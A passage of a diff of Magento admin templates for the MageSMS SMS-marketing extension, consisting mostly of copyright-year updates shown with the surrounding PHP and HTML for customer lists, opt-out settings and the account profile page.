Mage::getModel('core/date')->timestamp(time())+24*60*60), 'short', false); ?><input type="text" style="width: 100px;" class="input-text validate-sendlater-datumodesl" value="<?php echo $datumodesl; ?>" id="datumodesl" name="datumodesl"/><img style="cursor:pointer" title="<?php echo Mage::helper('magesms')->__('Calendar'); ?>" id="date_select_trig" class="v-middle" alt="" src="<?php echo $this->getSkinUrl("images/grid-cal.gif");?> "/>&nbsp;&nbsp;&nbsp;&nbsp;<label for="date"><?php echo Mage::helper('magesms')->__('Time: '); ?></label><select name="datumodesl_hour"><?php for($hour=1;$hour<=24;$hour++): ?><option value="<?php echo $hour; ?>" <?php echo (($_x = $this->getSmsData()->getData('datumodesl_hour')) ? $_x : 9 ) == $hour ? 'selected' : ''; ?>><?php printf('%02d', $hour); ?></option><?php endfor; ?></select>:<select name="datumodesl_min"><?php for($min=0;$min<=59;$min++): ?><option value="<?php echo $min; ?>" <?php echo $this->getSmsData()->getData('datumodesl_min') == $min ? 'selected' : ''; ?>><?php printf('%02d', $min); ?></option><?php endfor; ?></select><script type="text/javascript">//<![CDATA[
app/design/adminhtml/default/default/template/topefekt/magesms/marketing/customer.phtml CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  ?><div class="entry-edit"><div class="entry-edit-head"><h4><?php echo $this->getTitle();?> <?php echo $this->getCollection()->count(); ?></h4></div><fieldset class="magesms-marketing-customer"><?php if ($this->getCollection()->count()): ?><?php if (!$this->getDeleteCustomer() && !Mage::app()->isSingleStoreMode()): ?><div id="magesms-stores"><?php foreach ($this->getWebsites()->getWebsites() as $website): ?><span class="badge" style="background:<?php echo $website->getColorWebsite(); ?>"><?php echo $website->getName(); ?></span><?php endforeach; ?></div><?php endif; ?><?php foreach($this->displayByAlphabet() as $letter=>$customers): ?><div><span class="bigLetter"><?php echo $letter; ?></span><?php $i=0;foreach($customers as $customer): ?><?php if ($this->getDeleteCustomer() || $i < 10): ?><span class="badge <?php echo $this->getDeleteCustomer() ? 'deleted' : '';?>"<?php echo !$this->getDeleteCustomer() ? ' style="background:'.$this->getWebsites()->getColorWebsite($customer->getWebsiteId()).'"' : ''?>><a href="<?php echo Mage::helper("adminhtml")->getUrl('adminhtml/customer/edit', array('id' => $customer->getId())); ?>" title="<?php echo $customer->getCountryId().' - '.$customer->getTelephone(); ?>" target="_blank"><?php echo $customer->lastname?> <?php echo $customer->firstname?></a><a class="delete" onclick="removeCustomer(this); return false;" href="<?php echo Mage::helper("adminhtml")->getUrl('*/*/filter', array('action' => 'removeCustomer', 'id' => $customer->getId())); ?>">x</a></span><?php elseif ($i == 10): ?><span class="badge more"><a title="<?php echo $letter; ?>" href="<?php echo Mage::helper("adminhtml")->getUrl('*/*/filter', array('action' => 'listCustomers', 'letter' => $letter)); ?>" onclick="showPopup(this);return false;"><?php echo Mage::helper('magesms')->__('More...')?></a></span><?php endif; ?><?php $i++; endforeach; ?></div><?php endforeach; ?><?php else: ?><?php echo Mage::helper('magesms')->__('Customers found: 0')?><?php endif; ?></fieldset></div>
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  ?><div class="entry-edit"><div class="entry-edit-head"><h4><?php echo $this->getTitle();?> <?php echo $this->getCollection()->count(); ?></h4></div><fieldset class="magesms-marketing-customer"><?php if ($this->getCollection()->count()): ?><?php if (!$this->getDeleteCustomer() && !Mage::app()->isSingleStoreMode()): ?><div id="magesms-stores"><?php foreach ($this->getWebsites()->getWebsites() as $website): ?><span class="badge" style="background:<?php echo $website->getColorWebsite(); ?>"><?php echo $website->getName(); ?></span><?php endforeach; ?></div><?php endif; ?><?php foreach($this->displayByAlphabet() as $letter=>$customers): ?><div><span class="bigLetter"><?php echo $letter; ?></span><?php $i=0;foreach($customers as $customer): ?><?php if ($this->getDeleteCustomer() || $i < 10): ?><span class="badge <?php echo $this->getDeleteCustomer() ? 'deleted' : '';?>"<?php echo !$this->getDeleteCustomer() ? ' style="background:'.$this->getWebsites()->getColorWebsite($customer->getWebsiteId()).'"' : ''?>><a href="<?php echo Mage::helper("adminhtml")->getUrl('adminhtml/customer/edit', array('id' => $customer->getId())); ?>" title="<?php echo $customer->getCountryId().' - '.$customer->getTelephone(); ?>" target="_blank"><?php echo $customer->lastname?> <?php echo $customer->firstname?></a><a class="delete" onclick="removeCustomer(this); return false;" href="<?php echo Mage::helper("adminhtml")->getUrl('*/*/filter', array('action' => 'removeCustomer', 'id' => $customer->getId())); ?>">x</a></span><?php elseif ($i == 10): ?><span class="badge more"><a title="<?php echo $letter; ?>" href="<?php echo Mage::helper("adminhtml")->getUrl('*/*/filter', array('action' => 'listCustomers', 'letter' => $letter)); ?>" onclick="showPopup(this);return false;"><?php echo Mage::helper('magesms')->__('More...')?></a></span><?php endif; ?><?php $i++; endforeach; ?></div><?php endforeach; ?><?php else: ?><?php echo Mage::helper('magesms')->__('Customers found: 0')?><?php endif; ?></fieldset></div>
app/design/adminhtml/default/default/template/topefekt/magesms/marketing/form.phtml CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  ?><div class="fieldset"><form method="post" id="magesms_filter_template" onsubmit="window.submitSaveFilter($('magesms_filter_template')); return false;" action="<?php echo Mage::helper("adminhtml")->getUrl('*/*/filter', array('action' => 'saveFilter')); ?>"><div class="margin-form"><label for="name"><?php echo Mage::helper('magesms')->__('Filter Name'); ?>: </label><input class="input-text" type="text" name="saveName" id="saveName" value="" /><button type="button" onclick="window.submitSaveFilter($('magesms_filter_template'));" title="<?php echo Mage::helper('magesms')->__('Save filter'); ?>" name="submitSaveFilter" class="form-button" /><span><span><span><?php echo Mage::helper('magesms')->__('Save filter'); ?></span></span></span></button></div></form></div>
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  ?><div class="fieldset"><form method="post" id="magesms_filter_template" onsubmit="window.submitSaveFilter($('magesms_filter_template')); return false;" action="<?php echo Mage::helper("adminhtml")->getUrl('*/*/filter', array('action' => 'saveFilter')); ?>"><div class="margin-form"><label for="name"><?php echo Mage::helper('magesms')->__('Filter Name'); ?>: </label><input class="input-text" type="text" name="saveName" id="saveName" value="" /><button type="button" onclick="window.submitSaveFilter($('magesms_filter_template'));" title="<?php echo Mage::helper('magesms')->__('Save filter'); ?>" name="submitSaveFilter" class="form-button" /><span><span><span><?php echo Mage::helper('magesms')->__('Save filter'); ?></span></span></span></button></div></form></div>
app/design/adminhtml/default/default/template/topefekt/magesms/optout.phtml CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  ?><?php $user = $this->profile->user; ?><?php $lang = $this->profile->lang; ?><h2><?php echo Mage::helper('magesms')->__('SMS opt-out - setting SMS opt-out option from the cart and SMS charging'); ?></h2><p><?php echo Mage::helper('magesms')->__('Select an online store for which you want to set in the cart option to unsubscribe SMS notifications, setup cost of SMS messages and define the text that is displayed to the customer in the cart.'); ?></p><div id="magesms"><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/AdminTools.gif'; ?>" alt="" /> <?php echo Mage::helper('magesms')->__('Your online stores'); ?></h4></div><div class="fieldset grid"><table class="data"><col /><col width="50" /><?php $even = 1; foreach(Mage::app()->getWebsites($this->_isAdminScopeAllowed) as $website): if ($even) $even = 0; else $even = 1;?><?php $stores = $website->getStoreIds(); $product = Mage::getResourceModel('catalog/product_collection') ->addFieldToFilter('sku', Mage::getConfig()->getNode('default/config/optout')->sku) ->addWebsiteFilter($website->getId()) ->addAttributeToSelect('name') ->addAttributeToSelect('price') ->joinAttribute( 'status', 'catalog_product/status', 'entity_id', null, 'inner', reset($stores)) ->getFirstItem(); if (!count($stores)) continue; $auto = Mage::getResourceModel('catalog/product')->getAttributeRawValue($product->getId(), 'magesms_optout', reset($stores)); $websiteEnable = Mage::app()->getWebsite($website->getId())->getConfig('magesms/magesms/enable'); ?><tr id="hist_<?php echo $website->getId(); ?>" class="hover <?php if ($even) echo 'even'?>"><td><span class="img"><img class="toggle" src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/i_plus.gif'; ?>"></span><span class="img" style="display:none"><img class="toggle" src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/i_minus.gif'; ?>"></span><?php echo $website->getName(); ?><?php if ($_tmp = Mage::getStoreConfig('general/store_information/name', reset($stores))) { echo " ($_tmp"; $i = 0; foreach($website->getGroups() as $group) { echo $i ? ', ' : ' - '; echo '<span>'.$group->getName().'</span>'; $i++; } echo ')'; } ?></td><td class="a-center"><?php if ($product->getId() && $product->getStatus() == Mage_Catalog_Model_Product_Status::STATUS_ENABLED) { $img = 'i_accepted.gif'; $title = Mage::helper('magesms')->__('SMS opt-out is ACTIVE'); } else { $img = 'i_canceled.gif'; $title = Mage::helper('magesms')->__('SMS opt-out is NOT ACTIVE. To activate SMS opt-out check the checkbox „Activate displaying SMS opt-out feature in the cart“'); } ?><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/'.$img; ?>" title="<?php echo $title; ?>" /></td></tr><tr id="histd_<?php echo $website->getId(); ?>" class="<?php if ($even) echo 'even'?>" style="display:none"><td colspan="2"><form method="post" id="form_<?php echo $website->getId(); ?>" action="<?php echo Mage::getUrl('*/*/save') ?>" name="form"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><input type="hidden" value="<?php echo $website->getId(); ?>" name="website" /><div style="float:left;width:330px;"><input type="checkbox" name="status" id="status_<?php echo $website->getId(); ?>" <?php echo !$websiteEnable ? 'disabled' : ''; ?> value="1"<?php echo $product->getId() && $product->getStatus() == Mage_Catalog_Model_Product_Status::STATUS_ENABLED ? ' checked' : ''; ?> /><label for="status_<?php echo $website->getId(); ?>"><?php echo Mage::helper('magesms')->__('Activate displaying SMS opt-out feature in the cart'); ?></label><br /><br /><b><?php echo Mage::helper('magesms')->__('Add SMS product to cart:'); ?></b><br /><input type="radio" name="auto" id="auto1_<?php echo $website->getId(); ?>" <?php echo !$websiteEnable ? 'disabled' : ''; ?> value="1" <?php echo $auto ? 'checked' : ''; ?> /><label for="auto1_<?php echo $website->getId(); ?>"><?php echo Mage::helper('magesms')->__('Automatically'); ?></label><br /><input type="radio" name="auto" id="auto0_<?php echo $website->getId(); ?>" <?php echo !$websiteEnable ? 'disabled' : ''; ?> value="0" <?php echo !$auto ? 'checked' : ''; ?> /><label for="auto0_<?php echo $website->getId(); ?>"><?php echo Mage::helper('magesms')->__('Manually'); ?></label><br /><br /><?php if ($websiteEnable): ?><div style="float:left;"><input type="submit" class="form-button disabled" name="submitOptOut" value="<?php echo Mage::helper('magesms')->__('Save'); ?>" /></div><div style="float:left;padding-left:20px;"><input type="button" onclick="this.form.reset();" class="form-button" title="<?php echo Mage::helper('magesms')->__('Restore unsaved changes to its original state.'); ?>" value="<?php echo Mage::helper('magesms')->__('Cancel'); ?>" /></div><?php endif; ?></div><div style="float:left;"><table class="data"><tr class="headings"><th><?php echo Mage::helper('magesms')->__('Price of SMS'); ?></th><th<?php if (!Mage::app()->isSingleStoreMode()): ?> colspan="2"<?php endif; ?>><?php echo Mage::helper('magesms')->__('Text displayed in the cart'); ?></th></tr><?php $i=0; foreach($website->getStores() as $store): $productStore = Mage::getModel('catalog/product') ->setStoreId($store->getId()) ->load($product->getId()); $storeEnable = Mage::getStoreConfig('magesms/magesms/enable', $store->getId()); ?><tr><?php if ($i++ == 0): ?><td style="vertical-align: middle;" rowspan="<?php echo count($website->getStores());?>"><span class="required">*</span><input type="text" name="price" <?php echo !$websiteEnable ? 'disabled' : ''; ?> class="required-entry validate-zero-or-greater input-text" style="width:60px" value="<?php echo $productStore->getPrice(); ?>" /><strong>[<?php echo $website->getBaseCurrency()->getCode(); ?>]</strong></td><?php endif; ?><?php if (!Mage::app()->isSingleStoreMode()): ?><td><?php echo $store->getName(); ?></td><?php endif; ?><td><span class="required">*</span><input type="text" class="required-entry input-text" <?php echo !$storeEnable ? 'disabled' : ''; ?> name="name[<?php echo $store->getId(); ?>]" style="width:270px" value="<?php echo $this->htmlEscape($productStore->getName()); ?>" /></td></tr><?php endforeach; ?></table></div></form><script type="text/javascript">//<![CDATA[
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  ?><?php $user = $this->profile->user; ?><?php $lang = $this->profile->lang; ?><h2><?php echo Mage::helper('magesms')->__('SMS opt-out - setting SMS opt-out option from the cart and SMS charging'); ?></h2><p><?php echo Mage::helper('magesms')->__('Select an online store for which you want to set in the cart option to unsubscribe SMS notifications, setup cost of SMS messages and define the text that is displayed to the customer in the cart.'); ?></p><div id="magesms"><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/AdminTools.gif'; ?>" alt="" /> <?php echo Mage::helper('magesms')->__('Your online stores'); ?></h4></div><div class="fieldset grid"><table class="data"><col /><col width="50" /><?php $even = 1; foreach(Mage::app()->getWebsites($this->_isAdminScopeAllowed) as $website): if ($even) $even = 0; else $even = 1;?><?php $stores = $website->getStoreIds(); $product = Mage::getResourceModel('catalog/product_collection') ->addFieldToFilter('sku', Mage::getConfig()->getNode('default/config/optout')->sku) ->addWebsiteFilter($website->getId()) ->addAttributeToSelect('name') ->addAttributeToSelect('price') ->joinAttribute( 'status', 'catalog_product/status', 'entity_id', null, 'inner', reset($stores)) ->getFirstItem(); if (!count($stores)) continue; $auto = Mage::getResourceModel('catalog/product')->getAttributeRawValue($product->getId(), 'magesms_optout', reset($stores)); $websiteEnable = Mage::app()->getWebsite($website->getId())->getConfig('magesms/magesms/enable'); ?><tr id="hist_<?php echo $website->getId(); ?>" class="hover <?php if ($even) echo 'even'?>"><td><span class="img"><img class="toggle" src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/i_plus.gif'; ?>"></span><span class="img" style="display:none"><img class="toggle" src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/i_minus.gif'; ?>"></span><?php echo $website->getName(); ?><?php if ($_tmp = Mage::getStoreConfig('general/store_information/name', reset($stores))) { echo " ($_tmp"; $i = 0; foreach($website->getGroups() as $group) { echo $i ? ', ' : ' - '; echo '<span>'.$group->getName().'</span>'; $i++; } echo ')'; } ?></td><td class="a-center"><?php if ($product->getId() && $product->getStatus() == Mage_Catalog_Model_Product_Status::STATUS_ENABLED) { $img = 'i_accepted.gif'; $title = Mage::helper('magesms')->__('SMS opt-out is ACTIVE'); } else { $img = 'i_canceled.gif'; $title = Mage::helper('magesms')->__('SMS opt-out is NOT ACTIVE. To activate SMS opt-out check the checkbox „Activate displaying SMS opt-out feature in the cart“'); } ?><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/'.$img; ?>" title="<?php echo $title; ?>" /></td></tr><tr id="histd_<?php echo $website->getId(); ?>" class="<?php if ($even) echo 'even'?>" style="display:none"><td colspan="2"><form method="post" id="form_<?php echo $website->getId(); ?>" action="<?php echo Mage::getUrl('*/*/save') ?>" name="form"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><input type="hidden" value="<?php echo $website->getId(); ?>" name="website" /><div style="float:left;width:330px;"><input type="checkbox" name="status" id="status_<?php echo $website->getId(); ?>" <?php echo !$websiteEnable ? 'disabled' : ''; ?> value="1"<?php echo $product->getId() && $product->getStatus() == Mage_Catalog_Model_Product_Status::STATUS_ENABLED ? ' checked' : ''; ?> /><label for="status_<?php echo $website->getId(); ?>"><?php echo Mage::helper('magesms')->__('Activate displaying SMS opt-out feature in the cart'); ?></label><br /><br /><b><?php echo Mage::helper('magesms')->__('Add SMS product to cart:'); ?></b><br /><input type="radio" name="auto" id="auto1_<?php echo $website->getId(); ?>" <?php echo !$websiteEnable ? 'disabled' : ''; ?> value="1" <?php echo $auto ? 'checked' : ''; ?> /><label for="auto1_<?php echo $website->getId(); ?>"><?php echo Mage::helper('magesms')->__('Automatically'); ?></label><br /><input type="radio" name="auto" id="auto0_<?php echo $website->getId(); ?>" <?php echo !$websiteEnable ? 'disabled' : ''; ?> value="0" <?php echo !$auto ? 'checked' : ''; ?> /><label for="auto0_<?php echo $website->getId(); ?>"><?php echo Mage::helper('magesms')->__('Manually'); ?></label><br /><br /><?php if ($websiteEnable): ?><div style="float:left;"><input type="submit" class="form-button disabled" name="submitOptOut" value="<?php echo Mage::helper('magesms')->__('Save'); ?>" /></div><div style="float:left;padding-left:20px;"><input type="button" onclick="this.form.reset();" class="form-button" title="<?php echo Mage::helper('magesms')->__('Restore unsaved changes to its original state.'); ?>" value="<?php echo Mage::helper('magesms')->__('Cancel'); ?>" /></div><?php endif; ?></div><div style="float:left;"><table class="data"><tr class="headings"><th><?php echo Mage::helper('magesms')->__('Price of SMS'); ?></th><th<?php if (!Mage::app()->isSingleStoreMode()): ?> colspan="2"<?php endif; ?>><?php echo Mage::helper('magesms')->__('Text displayed in the cart'); ?></th></tr><?php $i=0; foreach($website->getStores() as $store): $productStore = Mage::getModel('catalog/product') ->setStoreId($store->getId()) ->load($product->getId()); $storeEnable = Mage::getStoreConfig('magesms/magesms/enable', $store->getId()); ?><tr><?php if ($i++ == 0): ?><td style="vertical-align: middle;" rowspan="<?php echo count($website->getStores());?>"><span class="required">*</span><input type="text" name="price" <?php echo !$websiteEnable ? 'disabled' : ''; ?> class="required-entry validate-zero-or-greater input-text" style="width:60px" value="<?php echo $productStore->getPrice(); ?>" /><strong>[<?php echo $website->getBaseCurrency()->getCode(); ?>]</strong></td><?php endif; ?><?php if (!Mage::app()->isSingleStoreMode()): ?><td><?php echo $store->getName(); ?></td><?php endif; ?><td><span class="required">*</span><input type="text" class="required-entry input-text" <?php echo !$storeEnable ? 'disabled' : ''; ?> name="name[<?php echo $store->getId(); ?>]" style="width:270px" value="<?php echo $this->htmlEscape($productStore->getName()); ?>" /></td></tr><?php endforeach; ?></table></div></form><script type="text/javascript">//<![CDATA[
app/design/adminhtml/default/default/template/topefekt/magesms/profile.phtml CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  ?><?php $user = $this->profile->user; ?><?php $lang = $this->profile->lang; ?><script type="text/javascript">//<![CDATA[
@@ -19,7 +19,7 @@ Event.observe(window, "load", function(){var gridData = document.getElementById(
19
  var loginForm = new varienForm('magesms_login', '<?php echo $this->getUrl('*/*/login') ?>');loginForm._processValidationResult = function(transport) {var response = transport.responseText.evalJSON();if (response.error){if (response.attribute && $(response.attribute)) {$(response.attribute).setHasError(true, productForm);Validation.ajaxError($(response.attribute), response.message);if (!Prototype.Browser.IE){$(response.attribute).focus();}}else if ($('messages')) {$('messages').innerHTML = '<ul class="messages"><li class="error-msg"><ul><li>' + response.message + '</li></ul></li></ul>';}}else{loginForm._submit();}};
20
  //]]></script><?php else: ?><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/AdminEmployees.gif'; ?>" alt="" /> <?php echo Mage::helper('magesms')->__('User account info'); ?></h4></div><div class="fieldset "><div><div class="margin-form"><label class="form-required"><?php echo Mage::helper('magesms')->__('Username:'); ?></label><span class="required-entry input-text"><?php echo $user->user; ?></span></div><div class="margin-form"><label class="form-required"><?php echo Mage::helper('magesms')->__('Password:'); ?></label><span class="required-entry input-text"><?php echo $user->passwd; ?></span></div><div class="margin-form"><label class="form-required"><?php echo Mage::helper('magesms')->__('SMS Credit:'); ?></label><span class="required-entry input-text"><?php echo $this->profile->credit; ?></span></div></div></div></div><div class="entry-edit"><?php $admins = $this->profile->admins; ?><?php if ($adminedit = Mage::app()->getRequest()->getParam('adminedit')): ?><?php $edit = $admins->load($adminedit); ?><?php else: ?><?php $edit = Mage::getModel('magesms/admins'); ?><?php endif; ?><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/AdminEmployees.gif'; ?>" alt="" /> <?php echo Mage::helper('magesms')->__('Add administrators'); ?></h4></div><div class="fieldset "><form id="magesms_admins" action="<?php echo $this->getUrl('*/*/saveadmin') ?>" method="post"><?php echo $this->getBlockHtml('formkey')?><div><div class="margin-form"><label class="form-required" for="name"><?php echo Mage::helper('magesms')->__('Name:'); ?> <span class="required">*</span></label><input class="required-entry input-text" type="text" name="name" id="name" value="<?php echo $this->htmlEscape($edit->getName()); ?>" /></div><div class="margin-form"><label class="form-required" for="number"><?php echo Mage::helper('magesms')->__('Mobile number:'); ?> <span class="required">*</span></label><input class="required-entry input-text validate-number" type="text" name="number" id="number" value="<?php echo $this->htmlEscape($edit->getNumber()); ?>" /><div><?php echo Mage::helper('magesms')->__('in international format, no leading zeros or a “+” sign, e.g., 447971796595'); ?></div></div><div class="margin-form"><input type="hidden" name="id" value="<?php echo $adminedit; ?>" /><input type="button" onclick="adminsForm.submit();" value="<?php echo Mage::helper('magesms')->__($adminedit ? 'Edit' : 'Add'); ?>" class="form-button" /></div><?php if ($admins->getCollection()->count()): ?><div class="grid"><table class="data"><colgroup><col /><col /><col width="60" /><col width="60" /></colgroup><?php $even = 1; foreach( $admins->getCollection() as $_admins ): if ($even) $even = 0; else $even = 1; ?><tr class="hover <?php if ($even) echo 'even'?> pointer"><td><?php echo $_admins->name; ?></td><td><?php echo $_admins->number; ?></td><td class="a-center"><a href="<?php echo Mage::helper("adminhtml")->getUrl('*/*/*', array('adminedit' => $_admins->getId())) ?>" title="<?php echo Mage::helper('magesms')->__('EDIT administrator'); ?>"><?php echo Mage::helper('magesms')->__('edit'); ?></a></td><td class="a-center last"><a href="<?php echo Mage::helper("adminhtml")->getUrl('*/*/deleteadmin', array('id' => $_admins->getId())) ?>" title="<?php echo Mage::helper('magesms')->__('DELETE administrator'); ?>" onclick="return confirm('<?php echo Mage::helper('magesms')->__('Are you sure to delete').' '.$_admins->name.'?'; ?>')"><?php echo Mage::helper('magesms')->__('delete'); ?></a></td></tr><?php endforeach; ?></table></div><?php endif; ?><div><span class="require">*</span> <?php echo Mage::helper('magesms')->__('Required field'); ?></div></div></form></div><script type="text/javascript">//<![CDATA[
21
  var adminsForm = new varienForm('magesms_admins', '<?php echo Mage::helper("adminhtml")->getUrl('*/*/validateadmin', array('id' => Mage::app()->getRequest()->getParam('adminedit', 0))) ?>');
22
- //]]></script></div><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/AdminEmployees.gif'; ?>" alt="" /> <?php echo Mage::helper('magesms')->__('Other settings'); ?></h4></div><div class="fieldset "><form id="magesms_settings" action="<?php echo $this->getUrl('*/*/savesettings') ?>" method="post"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><div><div class="margin-form"><label for="simulate"><?php echo Mage::helper('magesms')->__('Simulate SMS sending:'); ?></label><input type="checkbox" name="simulatesms" id="simulatesms" value="1" <?php echo $user->getSimulatesms() ? 'checked' : ''; ?> /><span class="help" onclick="popup_title(this)" title="<?php echo Mage::helper('magesms')->__('Allows to test sending of SMS in modul and to view sent SMS in SMS history with a special status.'); ?>" style="cursor:help;text-decoration:underline;">?</span></div><div class="margin-form"><label for="URLreports"><?php echo Mage::helper('magesms')->__('Delivery reports:'); ?></label><input type="checkbox" name="URLreports" id="URLreports" value="1" <?php echo $user->getData('URLreports') ? 'checked' : ''; ?> /><span class="help" onclick="popup_title(this)" title="<?php echo Mage::helper('magesms')->__('Allows to see delivery reports of SMS in SMS history Tab.'); ?>" style="cursor:help;text-decoration:underline;">?</span></div><div class="margin-form"><label for="pocetkredit"><?php echo Mage::helper('magesms')->__('Low credit alert:'); ?></label><input type="text" class="input-text" size="3" name="pocetkredit" id="pocetkredit" value="<?php echo $user->getPocetkredit() ? $user->getPocetkredit() : 0; ?>" /><span class="help" onclick="popup_title(this)" title="<?php echo Mage::helper('magesms')->__(' Allows to receive email when your SMS credit is low.'); ?>" style="cursor:help;text-decoration:underline;">?</span><span class="help2"><?php echo Mage::helper('magesms')->__('(0 = no alert)'); ?></span></div><div class="margin-form"><label for="deliveryemail"><?php echo Mage::helper('magesms')->__('Email for delivery reports:'); ?></label><input type="text" class="input-text validate-email" name="deliveryemail" id="deliveryemail" value="<?php echo $this->htmlEscape($user->getDeliveryemail()); ?>" /><span class="help" onclick="popup_title(this)" title="<?php echo Mage::helper('magesms')->__('Allows to receive email with delivery report of SMS.'); ?>" style="cursor:help;text-decoration:underline;">?</span></div><div class="margin-form"><label style="width: 210px; margin: 0 20px 1em 0;"><?php echo Mage::helper('magesms')->__('For sending SMS prefer phone nr. from:'); ?></label><div style="white-space:nowrap"><input type="radio" class="input-text" name="prefbilling" id="prefbilling0" value="0" <?php echo !$user->getPrefbilling() ? 'checked' : ''; ?> /><label for="prefbilling0" style="width: auto; display: inline; float: none"><?php echo Mage::helper('magesms')->__('invoice address'); ?></label></div><div style="white-space:nowrap"><input type="radio" class="input-text" name="prefbilling" id="prefbilling1" value="1" <?php echo $user->getPrefbilling() ? 'checked' : ''; ?> /><label for="prefbilling1" style="width: auto; display: inline; float: none"><?php echo Mage::helper('magesms')->__('delivery address'); ?></label></div><div class="clear"></div></div><div class="margin-form"><input type="button" onclick="settingsForm.submit();" value="<?php echo Mage::helper('magesms')->__('Save'); ?>" class="form-button" /></div></div></form><script type="text/javascript">//<![CDATA[
23
  var settingsForm = new varienForm('magesms_settings', '<?php echo Mage::helper("adminhtml")->getUrl('*/*/validatesettings') ?>');
24
  //]]></script></div></div><?php endif; ?></div><div class="float-left"><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/AdminEmployees.gif'; ?>" alt="" /> <?php echo Mage::helper('magesms')->__($user->getUser() ? 'Edit user account' : 'New user account'); ?></h4></div><div class="fieldset "><form id="magesms_profil" action="<?php echo $this->getUrl('*/*/save') ?>" method="post"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><?php if (!$user->getUser()): ?><p><?php echo Mage::helper('magesms')->__('Not registered yet? Create account now!'); ?></p><?php endif; ?><div class="margin-form"><label class="form-required" for="email"><?php echo Mage::helper('magesms')->__('Email:'); ?> <span class="required">*</span></label><input class="required-entry input-text validate-email" type="text" name="email" id="email" value="<?php echo $this->htmlEscape($user->getEmail()); ?>" /></div><div class="margin-form"><label class="form-required"><?php echo Mage::helper('magesms')->__('Registration type:'); ?></label><input type="radio" name="regtype" id="reg-type1" style="float: left" value="person" <?php echo !$user->getRegtype() || $user->getRegtype() =='person' ? 'checked' : ''; ?> /><label style="width: auto; margin: 0 15px 0 5px" for="reg-type1"><?php echo Mage::helper('magesms')->__('Personal'); ?></label><input type="radio" name="regtype" id="reg-type2" style="float: left" value="firm" <?php echo $user->getRegtype() =='firm' ? 'checked' : ''; ?> /><label style="width: auto; margin-left: 5px" for="reg-type2"><?php echo Mage::helper('magesms')->__('Business'); ?></label><div class="clear"></div></div><div class="entry-edit-head firm"><h4 class="fieldset-legend head-account"><?php echo Mage::helper('magesms')->__('Billing information'); ?></h4></div><div class="fieldset firm"><div class="margin-form"><label class="" for="companyname"><?php echo Mage::helper('magesms')->__('Company name:'); ?> <span class="required">*</span></label><input class="input-text" type="text" name="companyname" id="companyname" value="<?php echo $this->htmlEscape($user->getCompanyname()); ?>" /></div><div class="margin-form firm czech" style="display: none;"><label for="companyid"><?php echo Mage::helper('magesms')->__('Company ID:'); ?></label><input class="input-text" type="text" name="companyid" id="companyid" value="<?php echo $this->htmlEscape($user->getCompanyid()); ?>" /></div><div class="margin-form firm vat" style="display: none;"><label for="companyvat"><?php echo Mage::helper('magesms')->__('Company VAT:'); ?></label><input class="input-text" type="text" name="companyvat" id="companyvat" value="<?php echo $this->htmlEscape($user->getCompanyvat()); ?>" /><span class="error" style="display: none"><?php echo 